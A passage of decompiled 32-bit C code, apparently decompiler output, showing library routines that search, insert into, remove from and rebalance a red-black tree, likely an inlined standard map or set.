  5141.                 int32_t v12; // 0x408327
  5142.                 if (v7 == g1178) {
  5143.                     // 0x40830f
  5144.                     *(int32_t *)(*(int32_t *)(v4 + 4) + 4) = v7;
  5145.                     v10 = g5;
  5146.                     *(int32_t *)(v10 + 12) = 0;
  5147.                     v8 = *(int32_t *)(v10 + 4);
  5148.                     *(int32_t *)v8 = v8;
  5149.                     v11 = *(int32_t *)(g5 + 4);
  5150.                     *(int32_t *)(v11 + 8) = v11;
  5151.                     v12 = *(int32_t *)(g5 + 4);
  5152.                     g6 = v12;
  5153.                     g5 = v3;
  5154.                     v9 = *(int32_t *)v12;
  5155.                     g4 = v9;
  5156.                     g2 = v2;
  5157.                     *a1 = v9;
  5158.                     g3 = v5;
  5159.                     return result;
  5160.                 }
  5161.                 // 0x4082ee
  5162.                 // branch -> 0x4082ee
  5163.                 while (true) {
  5164.                     // 0x4082ee
  5165.                     g4 = v4;
  5166.                     g1 = function_4089d0((int32_t *)*(int32_t *)(v7 + 8), v3);
  5167.                     g7 = *(int32_t *)g7;
  5168.                     function_4097fe((char *)g3);
  5169.                     int32_t v13 = g7; // 0x408309
  5170.                     g1182 = v13 == g1178;
  5171.                     g3 = v13;
  5172.                     int32_t v14 = g5;
  5173.                     if (v13 == g1178) {
  5174.                         // 0x40830f
  5175.                         *(int32_t *)(*(int32_t *)(v14 + 4) + 4) = g1178;
  5176.                         v10 = g5;
  5177.                         *(int32_t *)(v10 + 12) = 0;
  5178.                         v8 = *(int32_t *)(v10 + 4);
  5179.                         *(int32_t *)v8 = v8;
  5180.                         v11 = *(int32_t *)(g5 + 4);
  5181.                         *(int32_t *)(v11 + 8) = v11;
  5182.                         v12 = *(int32_t *)(g5 + 4);
  5183.                         g6 = v12;
  5184.                         g5 = v3;
  5185.                         v9 = *(int32_t *)v12;
  5186.                         g4 = v9;
  5187.                         g2 = v2;
  5188.                         *a1 = v9;
  5189.                         g3 = v5;
  5190.                         return result;
  5191.                     }
  5192.                     // 0x4082ee
  5193.                     v4 = v14;
  5194.                     v7 = v13;
  5195.                     // branch -> 0x4082ee
  5196.                 }
  5197.             }
  5198.         }
  5199.     }
  5200.     // 0x408339
  5201.     g1182 = a2 == a3;
  5202.     if (a2 == a3) {
  5203.         // 0x408381
  5204.         g5 = v3;
  5205.         *a1 = a2;
  5206.         g2 = v2;
  5207.         g3 = v5;
  5208.         return result;
  5209.     }
  5210.     // branch -> 0x40833d
  5211.     int32_t v15; // 0x40837d
  5212.     while (true) {
  5213.         int32_t v16 = *(int32_t *)(a2 + 8); // 0x40833d
  5214.         g3 = a2;
  5215.         int32_t v17;
  5216.         int32_t v18; // 0x408369
  5217.         if (v16 == g1178) {
  5218.             int32_t v19 = *(int32_t *)(a2 + 4); // 0x408357
  5219.             v18 = v19;
  5220.             int32_t v20 = a2; // 0x408369
  5221.             if (a2 == *(int32_t *)(v19 + 8)) {
  5222.                 g7 = v19;
  5223.                 int32_t v21 = *(int32_t *)(v19 + 4); // 0x408361
  5224.                 while (v19 == *(int32_t *)(v21 + 8)) {
  5225.                     // 0x40835f
  5226.                     v19 = v21;
  5227.                     g7 = v19;
  5228.                     v21 = *(int32_t *)(v19 + 4);
  5229.                     // continue -> 0x40835f
  5230.                 }
  5231.                 // 0x408369
  5232.                 v18 = v21;
  5233.                 v20 = v19;
  5234.                 // branch -> 0x408369
  5235.             }
  5236.             // 0x408369
  5237.             int32_t v22; // 0x408374
  5238.             if (*(int32_t *)(v20 + 8) != v18) {
  5239.                 v17 = a2;
  5240.               lab_0x40836e:
  5241.                 // 0x40836e
  5242.                 g7 = v18;
  5243.                 v22 = v17;
  5244.                 // branch -> 0x408370
  5245.             } else {
  5246.                 v22 = a2;
  5247.             }
  5248.             // 0x408370
  5249.             g4 = g5;
  5250.             function_4085d0(&v1, (int32_t *)v22, v3);
  5251.             v15 = g7;
  5252.             g1182 = v15 == g2;
  5253.             if (v15 == g2) {
  5254.                 // break -> 0x408381
  5255.                 break;
  5256.             }
  5257.             a2 = v15;
  5258.             // continue -> 0x40833d
  5259.             continue;
  5260.         } else {
  5261.             // 0x40834c
  5262.             v17 = g3;
  5263.             v18 = function_408d30((int32_t *)v16);
  5264.             // branch -> 0x40836e
  5265.             goto lab_0x40836e;
  5266.         }
  5267.     }
  5268.     // 0x408381
  5269.     // branch -> 0x408381
  5270.     // 0x408381
  5271.     g5 = v3;
  5272.     *a1 = v15;
  5273.     g2 = v2;
  5274.     g3 = v5;
  5275.     return result;
  5276. }
  5277.  
  5278. // Address range: 0x408390 - 0x4085cf
  5279. int32_t function_408390(int32_t * a1, int32_t * a2, int32_t a3) {
  5280.     int32_t result2 = (int32_t)a1;
  5281.     int32_t v1 = (int32_t)a2;
  5282.     int32_t v2 = v1;
  5283.     int32_t v3;
  5284.     int32_t v4 = &v3; // 0x408390_0
  5285.     int32_t v5 = g3; // 0x408391
  5286.     int32_t result = g2; // 0x408392
  5287.     int32_t v6 = g7; // 0x408393
  5288.     int32_t v7 = g5; // 0x40839a
  5289.     int32_t v8 = g4; // 0x40839b
  5290.     g5 = v8;
  5291.     int32_t v9 = v1; // ebx
  5292.     int32_t v10 = g1 & -256 | 1; // 0x4083a1
  5293.     g1 = v10;
  5294.     int32_t v11 = *(int32_t *)(v8 + 4); // 0x4083a3
  5295.     g7 = v11;
  5296.     int32_t v12 = *(int32_t *)(v11 + 4); // 0x4083a8
  5297.     g2 = v12;
  5298.     int32_t v13 = v11; // 0x408561
  5299.     if (v12 != g1178) {
  5300.         int32_t v14 = *a2; // 0x4083af
  5301.         g7 = v12;
  5302.         int32_t v15 = *(int32_t *)(v12 + 12); // 0x4083b3
  5303.         int32_t v16 = v14 - v15; // 0x4083b3
  5304.         int32_t v17 = (int32_t)(v16 < 0 ^ ((v16 ^ v14) & (v15 ^ v14)) < 0) | v14 & -256; // 0x4083b6
  5305.         g1 = v17;
  5306.         int32_t v18 = *(int32_t *)(v17 == 0 ? v12 + 8 : v12);
  5307.         g2 = v18;
  5308.         while (v18 != g1178) {
  5309.             // 0x4083af
  5310.             v12 = v18;
  5311.             v14 = *a2;
  5312.             g7 = v12;
  5313.             v15 = *(int32_t *)(v12 + 12);
  5314.             v16 = v14 - v15;
  5315.             v17 = (int32_t)(v16 < 0 ^ ((v16 ^ v14) & (v15 ^ v14)) < 0) | v14 & -256;
  5316.             g1 = v17;
  5317.             v18 = *(int32_t *)(v17 == 0 ? v12 + 8 : v12);
  5318.             g2 = v18;
  5319.             // continue -> 0x4083af
  5320.         }
  5321.         // 0x4083c9
  5322.         v10 = v17;
  5323.         v13 = v12;
  5324.         // branch -> 0x4083c9
  5325.     }
  5326.     // 0x4083c9
  5327.     int32_t v19; // bp-28
  5328.     if (((int32_t)*(char *)(v8 + 8) || g1178 & -256) == 0) {
  5329.         // 0x408552
  5330.         g6 = v13;
  5331.         v3 = v13;
  5332.         int32_t v20 = v1; // 0x408599
  5333.         int32_t v21 = v13; // 0x4085c3
  5334.         if ((v10 & 255) != 0) {
  5335.             // 0x40855c
  5336.             if (v13 == *(int32_t *)v11) {
  5337.                 // 0x408560
  5338.                 g4 = v8;
  5339.                 int32_t v22 = function_408a60(&v2, g1178, (int32_t *)v13, a2, v7, v6); // 0x40856a
  5340.                 int32_t v23 = *(int32_t *)v22; // 0x40856f
  5341.                 g6 = v23;
  5342.                 g5 = &v2;
  5343.                 g7 = g1178;
  5344.                 g2 = v13;
  5345.                 *(int32_t *)result = v23;
  5346.                 *(char *)(result + 4) = 1;
  5347.                 g3 = v1;
  5348.                 g4 = v7;
  5349.                 return result;
  5350.             }
  5351.             // 0x408583
  5352.             g4 = v4;
  5353.             function_408dd0(v7);
  5354.             int32_t v24 = v3; // 0x40858c
  5355.             g6 = v24;
  5356.             v20 = v9;
  5357.             v21 = v24;
  5358.             // branch -> 0x408590
  5359.         }
  5360.         int32_t v25 = *(int32_t *)(v21 + 12); // 0x408590
  5361.         g1 = v25;
  5362.         int32_t * v26 = (int32_t *)v20; // 0x408593_0
  5363.         if (v25 >= *v26) {
  5364.             // 0x4085bc
  5365.             g5 = v7;
  5366.             g7 = v6;
  5367.             g2 = result;
  5368.             *(int32_t *)result2 = v21;
  5369.             *(char *)(result2 + 4) = 0;
  5370.             g3 = v5;
  5371.             g4 = v3;
  5372.             return result2;
  5373.         }
  5374.         // 0x408599
  5375.         v19 = g7;
  5376.         g4 = g5;
  5377.         int32_t v27 = function_408a60(&v2, g2, (int32_t *)g7, v26, v7, v6); // 0x4085a3
  5378.         int32_t v28 = *(int32_t *)v27; // 0x4085a8
  5379.         g6 = v28;
  5380.         g5 = &v2;
  5381.         g7 = g2;
  5382.         g2 = v19;
  5383.         *(int32_t *)result = v28;
  5384.         *(char *)(result + 4) = 1;
  5385.         g3 = v20;
  5386.         g4 = v7;
  5387.         return result;
  5388.     }
  5389.     // 0x4083d4
  5390.     v19 = v13;
  5391.     function_408db0(v13, 0, v7);
  5392.     *(int32_t *)g1 = g1178;
  5393.     *(int32_t *)(g1 + 8) = g1178;
  5394.     function_408e30((int32_t *)(g1 + 12), (int32_t *)v9);
  5395.     int32_t * v29 = (int32_t *)(g5 + 12); // 0x4083fd_0
  5396.     *v29 = *v29 + 1;
  5397.     int32_t * v30; // 0x40846c_0
  5398.     int32_t v31; // ebp
  5399.     int32_t v32; // ecx
  5400.     int32_t v33; // 0x40845c
  5401.     int32_t v34; // 0x4084ac
  5402.     int32_t v35; // 0x408459
  5403.     int32_t v36; // 0x408467
  5404.     int32_t v37; // 0x4084a5
  5405.     int32_t v38; // 0x408533
  5406.     int32_t result3; // 0x408542
  5407.     if (g7 != *(int32_t *)(g5 + 4)) {
  5408.         // 0x40840e
  5409.         if (g2 == g1178) {
  5410.             int32_t v39 = g7; // 0x408418
  5411.             if (*(int32_t *)v9 >= *(int32_t *)(v39 + 12)) {
  5412.                 // 0x40841f
  5413.                 v31 = g1;
  5414.                 *(int32_t *)(v39 + 8) = g1;
  5415.                 int32_t * v40 = (int32_t *)(*(int32_t *)(g5 + 4) + 8); // 0x408429_0
  5416.                 if (g7 == *v40) {
  5417.                     // 0x40842e
  5418.                     *v40 = v31;
  5419.                     // branch -> 0x408459
  5420.                 }
  5421.                 // 0x408459
  5422.                 v35 = g5;
  5423.                 v33 = v31;
  5424.                 g7 = v33;
  5425.                 if (v33 == *(int32_t *)(*(int32_t *)(v35 + 4) + 4)) {
  5426.                     // 0x408533
  5427.                     v38 = *(int32_t *)(v35 + 4);
  5428.                     g6 = v38;
  5429.                     g5 = v19;
  5430.                     g7 = 0;
  5431.                     *(int32_t *)(*(int32_t *)(v38 + 4) + 20) = 1;
  5432.                     result3 = v3;
  5433.                     *(int32_t *)result3 = v31;
  5434.                     g2 = v7;
  5435.                     *(char *)(result3 + 4) = 1;
  5436.                     g3 = v6;
  5437.                     g4 = result;
  5438.                     return result3;
  5439.                 }
  5440.                 v34 = v35;
  5441.                 v37 = v33;
  5442.                 int32_t v41; // 0x408527
  5443.                 while (true) {
  5444.                     // 0x408467
  5445.                     v36 = *(int32_t *)(v37 + 4);
  5446.                     v9 = 0;
  5447.                     v30 = (int32_t *)(v36 + 20);
  5448.                     int32_t v42 = v34; // 0x408533
  5449.                     if (*v30 == 0) {
  5450.                       lab_0x408475:;
  5451.                         int32_t v43 = *(int32_t *)(v36 + 4); // 0x408475
  5452.                         int32_t v44 = *(int32_t *)v43; // 0x408478
  5453.                         v32 = v44;
  5454.                         int32_t v45; // 0x408527
  5455.                         int32_t v46; // 0x40852a
  5456.                         int32_t v47; // 0x40852a
  5457.                         if (v36 == v44) {
  5458.                             int32_t v48 = *(int32_t *)(v43 + 8); // 0x40847e
  5459.                             v32 = v48;
  5460.                             if (*(int32_t *)(v48 + 20) == 0) {
  5461.                                 // 0x408486
  5462.                                 *v30 = 1;
  5463.                                 *(int32_t *)(v32 + 20) = 1;
  5464.                                 *(int32_t *)(*(int32_t *)(*(int32_t *)(g7 + 4) + 4) + 20) = v9;
  5465.                                 g7 = *(int32_t *)(*(int32_t *)(g7 + 4) + 4);
  5466.                                 // branch -> 0x408527
  5467.                             } else {
  5468.                                 int32_t v49 = v37; // 0x4084b4
  5469.                                 if (v37 == *(int32_t *)(v36 + 8)) {
  5470.                                     // 0x4084aa
  5471.                                     g7 = v36;
  5472.                                     g4 = v34;
  5473.                                     function_408cd0(v36, v19);
  5474.                                     v49 = g7;
  5475.                                     // branch -> 0x4084b4
  5476.                                 }
  5477.                                 // 0x4084b4
  5478.                                 *(int32_t *)(*(int32_t *)(v49 + 4) + 20) = 1;
  5479.                                 *(int32_t *)(*(int32_t *)(*(int32_t *)(g7 + 4) + 4) + 20) = v9;
  5480.                                 int32_t v50 = *(int32_t *)(*(int32_t *)(g7 + 4) + 4); // 0x4084ca
  5481.                                 g4 = g5;
  5482.                                 function_408d50((int32_t *)v50, v19);
  5483.                                 // branch -> 0x408527
  5484.                             }
  5485.                           lab_0x408527_2:
  5486.                             // 0x408527
  5487.                             v41 = g5;
  5488.                             v46 = g7;
  5489.                             if (v46 == *(int32_t *)(*(int32_t *)(v41 + 4) + 4)) {
  5490.                                 // break -> 0x408533
  5491.                                 break;
  5492.                             }
  5493.                             v34 = v41;
  5494.                             v37 = v46;
  5495.                             // continue -> 0x408467
  5496.                             continue;
  5497.                         } else {
  5498.                             // 0x4084d7
  5499.                             if (*(int32_t *)(v44 + 20) == 0) {
  5500.                                 // 0x4084dc
  5501.                                 *v30 = 1;
  5502.                                 *(int32_t *)(v32 + 20) = 1;
  5503.                                 *(int32_t *)(*(int32_t *)(*(int32_t *)(g7 + 4) + 4) + 20) = v9;
  5504.                                 g7 = *(int32_t *)(*(int32_t *)(g7 + 4) + 4);
  5505.                                 // branch -> 0x408527
  5506.                                 goto lab_0x408527_2;
  5507.                             } else {
  5508.                                 int32_t * v51 = (int32_t *)v36; // 0x4084f8_0
  5509.                                 int32_t v52 = v37; // 0x408506
  5510.                                 if (v37 == *v51) {
  5511.                                     // 0x4084fc
  5512.                                     g7 = v36;
  5513.                                     g4 = v34;
  5514.                                     function_408d50(v51, v19);
  5515.                                     v52 = g7;
  5516.                                     // branch -> 0x408506
  5517.                                 }
  5518.                                 // 0x408506
  5519.                                 *(int32_t *)(*(int32_t *)(v52 + 4) + 20) = 1;
  5520.                                 *(int32_t *)(*(int32_t *)(*(int32_t *)(g7 + 4) + 4) + 20) = v9;
  5521.                                 g4 = g5;
  5522.                                 function_408cd0(*(int32_t *)(*(int32_t *)(g7 + 4) + 4), v19);
  5523.                                 // branch -> 0x408527
  5524.                                 goto lab_0x408527_2;
  5525.                             }
  5526.                             // 0x408527
  5527.                             v41 = g5;
  5528.                             v45 = *(int32_t *)(v41 + 4);
  5529.                             v46 = g7;
  5530.                             v47 = *(int32_t *)(v45 + 4);
  5531.                             if (v46 == v47) {
  5532.                                 v42 = v41;
  5533.                                 // break -> 0x408533
  5534.                                 break;
  5535.                             }
  5536.                             v34 = v41;
  5537.                             v37 = v46;
  5538.                             // continue -> 0x408467
  5539.                             continue;
  5540.                         }
  5541.                         // 0x408527
  5542.                         v41 = g5;
  5543.                         v45 = *(int32_t *)(v41 + 4);
  5544.                         v46 = g7;
  5545.                         v47 = *(int32_t *)(v45 + 4);
  5546.                         if (v46 == v47) {
  5547.                             v42 = v41;
  5548.                             // break -> 0x408533
  5549.                             break;
  5550.                         }
  5551.                         v34 = v41;
  5552.                         v37 = v46;
  5553.                         // continue -> 0x408467
  5554.                         continue;
  5555.                     }
  5556.                     // 0x408533
  5557.                     v38 = *(int32_t *)(v42 + 4);
  5558.                     g6 = v38;
  5559.                     g5 = v19;
  5560.                     g7 = 0;
  5561.                     *(int32_t *)(*(int32_t *)(v38 + 4) + 20) = 1;
  5562.                     result3 = v3;
  5563.                     *(int32_t *)result3 = v31;
  5564.                     g2 = v7;
  5565.                     *(char *)(result3 + 4) = 1;
  5566.                     g3 = v6;
  5567.                     g4 = result;
  5568.                     return result3;
  5569.                 }
  5570.                 // 0x408533
  5571.                 v38 = *(int32_t *)(v41 + 4);
  5572.                 g6 = v38;
  5573.                 g5 = v19;
  5574.                 g7 = 0;
  5575.                 *(int32_t *)(*(int32_t *)(v38 + 4) + 20) = 1;
  5576.                 result3 = v3;
  5577.                 *(int32_t *)result3 = v31;
  5578.                 g2 = v7;
  5579.                 *(char *)(result3 + 4) = 1;
  5580.                 g3 = v6;
  5581.                 g4 = result;
  5582.                 return result3;
  5583.             }
  5584.         }
  5585.     }
  5586.     // 0x408433
  5587.     v32 = g1;
  5588.     *(int32_t *)g7 = g1;
  5589.     int32_t v53 = *(int32_t *)(g5 + 4); // 0x408439
  5590.     int32_t v54 = g7; // 0x40843c
  5591.     if (v54 == v53) {
  5592.         // 0x408440
  5593.         *(int32_t *)(v53 + 4) = v32;
  5594.         *(int32_t *)(*(int32_t *)(g5 + 4) + 8) = v32;
  5595.         // branch -> 0x408455
  5596.     } else {
  5597.         int32_t * v55 = (int32_t *)v53; // 0x40844b_0
  5598.         if (v54 == *v55) {
  5599.             // 0x40844f
  5600.             *v55 = g1;
  5601.             // branch -> 0x408455
  5602.         }
  5603.     }
  5604.     // 0x408455
  5605.     v31 = g1;
  5606.     // branch -> 0x408459
  5607.     // 0x408459
  5608.     v35 = g5;
  5609.     v33 = v31;
  5610.     g7 = v33;
  5611.     if (v33 == *(int32_t *)(*(int32_t *)(v35 + 4) + 4)) {
  5612.         // 0x408533
  5613.         v38 = *(int32_t *)(v35 + 4);
  5614.         g6 = v38;
  5615.         g5 = v19;
  5616.         g7 = 0;
  5617.         *(int32_t *)(*(int32_t *)(v38 + 4) + 20) = 1;
  5618.         result3 = v3;
  5619.         *(int32_t *)result3 = v31;
  5620.         g2 = v7;
  5621.         *(char *)(result3 + 4) = 1;
  5622.         g3 = v6;
  5623.         g4 = result;
  5624.         return result3;
  5625.     }
  5626.     v34 = v35;
  5627.     v37 = v33;
  5628.     while (true) {
  5629.         // 0x408467
  5630.         v36 = *(int32_t *)(v37 + 4);
  5631.         v9 = 0;
  5632.         v30 = (int32_t *)(v36 + 20);
  5633.         if (*v30 == 0) {
  5634.             goto lab_0x408475;
  5635.         }
  5636.         // 0x408533
  5637.         v38 = *(int32_t *)(v34 + 4);
  5638.         g6 = v38;
  5639.         g5 = v19;
  5640.         g7 = 0;
  5641.         *(int32_t *)(*(int32_t *)(v38 + 4) + 20) = 1;
  5642.         result3 = v3;
  5643.         *(int32_t *)result3 = v31;
  5644.         g2 = v7;
  5645.         *(char *)(result3 + 4) = 1;
  5646.         g3 = v6;
  5647.         g4 = result;
  5648.         return result3;
  5649.     }
  5650. }
  5651.  
  5652. // Address range: 0x4085d0 - 0x4089cf
  5653. int32_t function_4085d0(int32_t * a1, int32_t * a2, int32_t a3) {
  5654.     int32_t result = (int32_t)a1;
  5655.     int32_t v1 = (int32_t)a2;
  5656.     int32_t v2 = g4; // 0x4085d5
  5657.     int32_t v3 = g5; // bp-32
  5658.     g4 = &v1;
  5659.     function_408a10(g5);
  5660.     int32_t v4 = v1; // 0x4085e8
  5661.     int32_t v5 = *(int32_t *)v4; // 0x4085e8
  5662.     int32_t v6 = v5; // esi
  5663.     int32_t v7 = v4 + 8; // 0x4085f0
  5664.     int32_t v8 = v7; // ebx
  5665.     int32_t v9 = v7; // ebp
  5666.     int32_t v10 = *(int32_t *)v7; // 0x4085fd
  5667.     int32_t * v11; // 0x408661_0
  5668.     int32_t * v12; // 0x40866e_0
  5669.     int32_t * v13; // 0x408686_0
  5670.     int32_t * v14; // 0x4086a3_0
  5671.     int32_t * v15; // 0x4086b0_0
  5672.     int32_t * v16; // 0x4086c2_0
  5673.     int32_t * v17; // 0x4086f6_0
  5674.     int32_t v18; // eax
  5675.     int32_t v19; // ecx
  5676.     int32_t v20;
  5677.     int32_t v21; // 0x40863c
  5678.     int32_t v22; // 0x40868f
  5679.     int32_t v23; // 0x4086d7
  5680.     int32_t v24; // 0x4086e1
  5681.     int32_t v25; // 0x408715
  5682.     int32_t v26; // 0x408751113
  5683.     int32_t v27; // 0x40862d
  5684.     int32_t v28; // 0x40863a
  5685.     int32_t v29; // 0x4086c2
  5686.     int32_t v30; // 0x4086c6
  5687.     int32_t v31; // 0x4086d7
  5688.     int32_t v32; // 0x4086e3
  5689.     int32_t v33; // 0x4086ed
  5690.     int32_t v34; // 0x4086fb
  5691.     int32_t v35; // 0x40874f
  5692.     int32_t v36; // 0x408679
  5693.     int32_t v37; // 0x408696
  5694.     int32_t v38; // 0x4086bb
  5695.     int32_t v39; // 0x4086f3
  5696.     int32_t v40; // 0x40870c
  5697.     int32_t v41; // 0x408725
  5698.     int32_t v42; // 0x40865a
  5699.     int32_t v43; // 0x40866b
  5700.     int32_t v44; // 0x4086ad
  5701.     int32_t v45; // 0x4086f6
  5702.     int32_t v46; // 0x40870c
  5703.     int32_t v47; // 0x408717
  5704.     int32_t v48; // 0x40871e
  5705.     int32_t v49; // 0x408735
  5706.     int32_t v50; // 0x408738
  5707.     int32_t v51; // 0x40874c
  5708.     int32_t v52; // 0x40875d112
  5709.     int32_t v53; // 0x408661
  5710.     int32_t v54; // 0x4086a3
  5711.     if (v5 == g1178) {
  5712.         // 0x4085fd
  5713.         v6 = v10;
  5714.         v37 = v4;
  5715.         // branch -> 0x40861f
  5716.     } else {
  5717.         // 0x408601
  5718.         if (v10 != g1178) {
  5719.             int32_t v55 = *(int32_t *)v10; // 0x408607
  5720.             if (v55 != g1178) {
  5721.                 int32_t v56 = *(int32_t *)v55; // 0x40860f
  5722.                 while (v56 != g1178) {
  5723.                     // 0x40860d
  5724.                     v55 = v56;
  5725.                     v56 = *(int32_t *)v55;
  5726.                     // continue -> 0x40860d
  5727.                 }
  5728.                 // 0x408615
  5729.                 v10 = v55;
  5730.                 // branch -> 0x408615
  5731.             }
  5732.             int32_t v57 = v10 + 8; // 0x408615
  5733.             v6 = *(int32_t *)v57;
  5734.             v9 = v57;
  5735.             v37 = v10;
  5736.             // branch -> 0x40861f
  5737.         } else {
  5738.             v37 = v4;
  5739.         }
  5740.         // 0x40861f
  5741.         _qm__qm_0_Lockit_std__QAE_XZ();
  5742.         g6 = v37;
  5743.         v27 = v1;
  5744.         if (v37 == v27) {
  5745.             // 0x408696
  5746.             v19 = v2;
  5747.             *(int32_t *)(v6 + 4) = *(int32_t *)(v37 + 4);
  5748.             v14 = (int32_t *)(*(int32_t *)(v19 + 4) + 4);
  5749.             v54 = v1;
  5750.             if (*v14 == v54) {
  5751.                 // 0x4086a8
  5752.                 *v14 = v6;
  5753.                 // branch -> 0x4086bb
  5754.             } else {
  5755.                 // 0x4086ad
  5756.                 v44 = *(int32_t *)(v54 + 4);
  5757.                 v15 = (int32_t *)v44;
  5758.                 if (*v15 == v54) {
  5759.                     // 0x4086b4
  5760.                     *v15 = v6;
  5761.                     // branch -> 0x4086bb
  5762.                 } else {
  5763.                     // 0x4086b8
  5764.                     *(int32_t *)(v44 + 8) = v6;
  5765.                     // branch -> 0x4086bb
  5766.                 }
  5767.                 // 0x4086bb
  5768.                 v38 = v19;
  5769.                 v16 = (int32_t *)*(int32_t *)(v38 + 4);
  5770.                 v29 = *v16;
  5771.                 v39 = v38;
  5772.                 if (v29 == v1) {
  5773.                     // 0x4086c6
  5774.                     v30 = g1178;
  5775.                     if (*(int32_t *)v8 == v30) {
  5776.                         // 0x4086d0
  5777.                         *v16 = *(int32_t *)(v29 + 4);
  5778.                         v39 = v19;
  5779.                         // branch -> 0x4086f3
  5780.                     } else {
  5781.                         // 0x4086d7
  5782.                         v23 = v6;
  5783.                         v31 = *(int32_t *)v23;
  5784.                         v33 = v23;
  5785.                         if (v31 != v30) {
  5786.                             // 0x4086df
  5787.                             v24 = v31;
  5788.                             v32 = *(int32_t *)v24;
  5789.                             // branch -> 0x4086e1
  5790.                             while (v32 != v30) {
  5791.                                 // 0x4086e1
  5792.                                 v24 = v32;
  5793.                                 v32 = *(int32_t *)v24;
  5794.                                 // continue -> 0x4086e1
  5795.                             }
  5796.                             // 0x4086e9
  5797.                             v33 = v24;
  5798.                             // branch -> 0x4086ed
  5799.                         }
  5800.                         // 0x4086ed
  5801.                         *v16 = v33;
  5802.                         v39 = v2;
  5803.                         // branch -> 0x4086f3
  5804.                     }
  5805.                     // 0x4086f3
  5806.                     v17 = (int32_t *)(*(int32_t *)(v39 + 4) + 8);
  5807.                     v45 = *v17;
  5808.                     if (v45 == v1) {
  5809.                         // 0x4086fb
  5810.                         v34 = g1178;
  5811.                         if (*(int32_t *)v45 == v34) {
  5812.                             // 0x408707
  5813.                             v48 = *(int32_t *)(v45 + 4);
  5814.                             // branch -> 0x40871e
  5815.                         } else {
  5816.                             // 0x40870c
  5817.                             v40 = v6;
  5818.                             v46 = *(int32_t *)(v40 + 8);
  5819.                             if (v46 != v34) {
  5820.                                 v25 = v46;
  5821.                                 v47 = *(int32_t *)(v25 + 8);
  5822.                                 while (v47 != v34) {
  5823.                                     // 0x408715
  5824.                                     v25 = v47;
  5825.                                     v47 = *(int32_t *)(v25 + 8);
  5826.                                     // continue -> 0x408715
  5827.                                 }
  5828.                                 // 0x40871e
  5829.                                 v48 = v25;
  5830.                                 // branch -> 0x40871e
  5831.                             } else {
  5832.                                 v48 = v40;
  5833.                             }
  5834.                         }
  5835.                         // 0x40871e
  5836.                         *v17 = v48;
  5837.                         // branch -> 0x408721
  5838.                     }
  5839.                     // 0x408721
  5840.                     v9 = v2;
  5841.                     v20 = v37;
  5842.                     // branch -> 0x408725
  5843.                     // 0x408725
  5844.                     v8 = 1;
  5845.                     if (*(int32_t *)(g6 + 20) == 1) {
  5846.                         // 0x408735
  5847.                         v49 = *(int32_t *)(v9 + 4);
  5848.                         g6 = v49;
  5849.                         v50 = v6;
  5850.                         if (v50 != *(int32_t *)(v49 + 4)) {
  5851.                             // 0x408741
  5852.                             v1 = 0;
  5853.                             if (*(int32_t *)(v50 + 20) == 1) {
  5854.                                 v26 = v50;
  5855.                                 v52 = 1;
  5856.                                 while (true) {
  5857.                                     // 0x40874c
  5858.                                     v51 = *(int32_t *)(v26 + 4);
  5859.                                     v35 = *(int32_t *)v51;
  5860.                                     v18 = v35;
  5861.                                     int32_t * v58; // 0x4089b1_0
  5862.                                     int32_t v59;
  5863.                                     int32_t v60; // 0x40882d
  5864.                                     int32_t v61; // 0x408833
  5865.                                     if (v26 == v35) {
  5866.                                       lab_0x408755_9:;
  5867.                                         int32_t v62 = *(int32_t *)(v51 + 8); // 0x408755
  5868.                                         v18 = v62;
  5869.                                         int32_t * v63 = (int32_t *)(v62 + 20); // 0x408758_0
  5870.                                         int32_t v64 = v26; // 0x40889794
  5871.                                         int32_t v65 = v52; // 0x40884e
  5872.                                         int32_t * v66; // 0x4087aa_0
  5873.                                         int32_t * v67; // 0x4087b5_0
  5874.                                         int32_t * v68; // 0x408872_0
  5875.                                         int32_t * v69; // 0x40887f_0
  5876.                                         int32_t * v70; // 0x4088af_0
  5877.                                         int32_t * v71; // 0x4088cd_0
  5878.                                         int32_t * v72; // 0x4088df_0
  5879.                                         int32_t v73; // 0x408851
  5880.                                         int32_t v74; // 0x4088b7
  5881.                                         int32_t v75; // 0x4088b7
  5882.                                         int32_t v76; // 0x40885b
  5883.                                         int32_t v77; // 0x40886c
  5884.                                         int32_t v78; // 0x408891
  5885.                                         int32_t v79; // 0x408897
  5886.                                         int32_t v80; // 0x40889d
  5887.                                         int32_t v81; // 0x4088c7
  5888.                                         int32_t v82; // 0x40885b
  5889.                                         int32_t v83; // 0x408872
  5890.                                         int32_t v84; // 0x40887c
  5891.                                         int32_t v85; // 0x408884
  5892.                                         int32_t v86; // 0x408894
  5893.                                         int32_t v87; // 0x4088ac
  5894.                                         int32_t v88; // 0x4088af
  5895.                                         int32_t v89; // 0x4088ca
  5896.                                         int32_t v90; // 0x4088cd
  5897.                                         int32_t v91; // 0x4088dc
  5898.                                         if (*v63 == v1) {
  5899.                                             // 0x40875d
  5900.                                             *v63 = v52;
  5901.                                             *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v1;
  5902.                                             int32_t v92 = *(int32_t *)(v6 + 4); // 0x408766
  5903.                                             v18 = v92;
  5904.                                             int32_t * v93 = (int32_t *)(v92 + 8); // 0x408769_0
  5905.                                             int32_t v94 = *v93; // 0x408769
  5906.                                             v19 = v94;
  5907.                                             *v93 = *(int32_t *)v94;
  5908.                                             int32_t v95 = *(int32_t *)v19; // 0x408771
  5909.                                             if (v95 != g1178) {
  5910.                                                 // 0x40877b
  5911.                                                 *(int32_t *)(v95 + 4) = v18;
  5912.                                                 // branch -> 0x40877e
  5913.                                             }
  5914.                                             // 0x40877e
  5915.                                             *(int32_t *)(v19 + 4) = *(int32_t *)(v18 + 4);
  5916.                                             int32_t v96 = v18; // 0x408787
  5917.                                             int32_t * v97 = (int32_t *)(*(int32_t *)(v9 + 4) + 4); // 0x408787_0
  5918.                                             int32_t v98; // 0x4087a4
  5919.                                             int32_t v99; // 0x4087a7
  5920.                                             if (v96 != *v97) {
  5921.                                                 int32_t v100 = *(int32_t *)(v96 + 4); // 0x408791
  5922.                                                 int32_t * v101 = (int32_t *)v100; // 0x408794_0
  5923.                                                 if (v96 == *v101) {
  5924.                                                     // 0x408798
  5925.                                                     *v101 = v19;
  5926.                                                     // branch -> 0x40879f
  5927.                                                 } else {
  5928.                                                     // 0x40879c
  5929.                                                     *(int32_t *)(v100 + 8) = v19;
  5930.                                                     // branch -> 0x40879f
  5931.                                                 }
  5932.                                                 // 0x40879f
  5933.                                                 *(int32_t *)v19 = v18;
  5934.                                                 *(int32_t *)(v18 + 4) = v19;
  5935.                                                 v98 = v6;
  5936.                                                 v99 = *(int32_t *)(*(int32_t *)(v98 + 4) + 8);
